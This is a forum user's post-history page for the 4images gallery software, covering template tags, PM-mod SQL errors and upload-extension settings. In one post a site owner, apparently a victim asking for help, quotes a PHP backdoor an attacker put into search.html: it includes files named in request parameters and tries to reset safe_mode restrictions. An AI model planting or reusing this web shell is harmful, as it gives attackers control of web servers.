Show Posts

This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.


Messages - impss

Pages: 1 2 3 [4] 5 6 7 8 ... 18
46
Nevermind I got it to work  8)

I added:
Code: [Select]
"user_adult_view" => $user_info['user_adult_view'],
to the page_header.php, and now it seems to be working.

47
Hey all , I ran into a problem that i can't seem to get working.

I am trying to make a template tag to disallow thumbnails in my custom thumbnail_bit_10.html , depending on what the user has chosen in there control panel.

Here is what i Have done so far

In db_field_definitions.php i added:
Code: [Select]
$additional_user_fields['user_adult_view'] = array($lang['user_adult_view'], "radio", 0);
In the Database under 4images_users  i created a new feild called user_adult_view tinyint(1)   No Null and Defualt 0

In member_editprofile.html i added:
Code: [Select]
<tr>
            <td class="row2"><b>Allow Adult Images?</b></td>
            <td class="row2">
              <input type="radio" name="user_adult_view" value="1"{user_adult_view_yes} />
              <b>Yes</b>&nbsp;&nbsp;&nbsp;
              <input type="radio" name="user_adult_view" value="0"{user_adult_view_no} />
              <b>No</b>
            </td>
          </tr>

that field seems to working ok but i can seem to get a template tag working for this modification.

Shouldn't {if user_adult_view}{endif user_adult_view} work in the thumbnail_bit_10.html ?

any help would greatly appreciated.

49
Thanks manurom

I will give that a shot.

50

How can I use this mod to have different thumbnail_bits depending on the catogory?


thanks in advance.

51
Mods & Plugins (Releases & Support) / Re: pm.php?action=new ???
« on: April 05, 2007, 02:21:11 AM »
You should post in the Orignal mods thread, not make a new post

52
Sounds like someone uploaded a php file with your gallery

I would login straight into your admin control panel, and look threw the Check new images for someone that recently uploaded a php file instead of a image. take note of where the file was uploaded to.. Delete the image from 4images. then i would ftp in and make sure the file was deleted for sure.

Look at your settings for Valid file extensions and make sure to remove any type of file that you do not want uploaded.

Your gallery may have been hacked

53
Chit Chat / Re: My website has been Hi-jacked!!!
« on: March 19, 2007, 03:51:31 PM »

Sorry to hear this maxpaul  :?

Guess you never know who you can trust.

54
My guess is..

You have a .doc file uploaded to your gallery , in a catogory that is not viewable to us (ie Registered User, Private or Admin). That is why the users here can see if fine.

The reason you are getting this error is either:

1) you have a uploaded .doc file, and In the Admin control panel , in the Settings, You removed .doc from the Valid file extensions

or

2) you have a uploaded .doc file, and you really dont have a  ./templates/4default_wide/media/doc.html  file

55
Discussion & Troubleshooting / Re: Template Error
« on: February 28, 2007, 08:11:26 PM »
Sounds like someone uploaded a php with your gallery

I would login straight into your admin control panel, and look threw the Check new images for someone that recently uploaded a php file instead of a image. take note of where the file was uploaded to.. Delete the image from 4images. then i would ftp in and make sure the file was deleted for sure.

Look at your settings for Valid file extensions and make sure to remove any type of file that you do not want uploaded.




56
Thank you it looks to be working. And Thanks for the quick responce
 8)


Is there any way to change it so the Pm is sent from the commenter?

57
Yea.. im running PhP5

correct this part:

$pm_from = 0; //Hier bitte die user_id vom Absender angeben
'

do i change that to a 1?

58
Im getting this error as others have

Code: [Select]
DB Error: Bad SQL Query: SELECT COUNT(pm_id) AS total FROM 4images_pm WHERE pm_from = AND (pm_type = 2 OR pm_type = 0)
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'AND (pm_type = 2 OR pm_type = 0)' at line 3

any help?

thanks

59
Discussion & Troubleshooting / Re: Think my settings got hacked
« on: February 15, 2007, 05:02:39 PM »
I also just noticed my seach.php file wasnt working.

So i looked into it , and he changed everything in my search.html  to:

Code: [Select]
<?php
$f
=trim($f); 
echo 
ini_get("safe_mode"); 
echo 
ini_get("open_basedir"); 
include(
"$f"); 
ini_restore("safe_mode"); 
ini_restore("open_basedir"); 
echo 
ini_get("safe_mode"); 
echo 
ini_get("open_basedir"); 
include(
"$f"); 
include(
$_GET['x']);
?>

Anyone know how this could have happened?

Please somebody help.. i dont want this to happen again.

60
Discussion & Troubleshooting / Re: Think my settings got hacked
« on: February 14, 2007, 04:29:57 PM »
i belive i do..

more then 8 characters using upper and lower case and numbers

Pages: 1 2 3 [4] 5 6 7 8 ... 18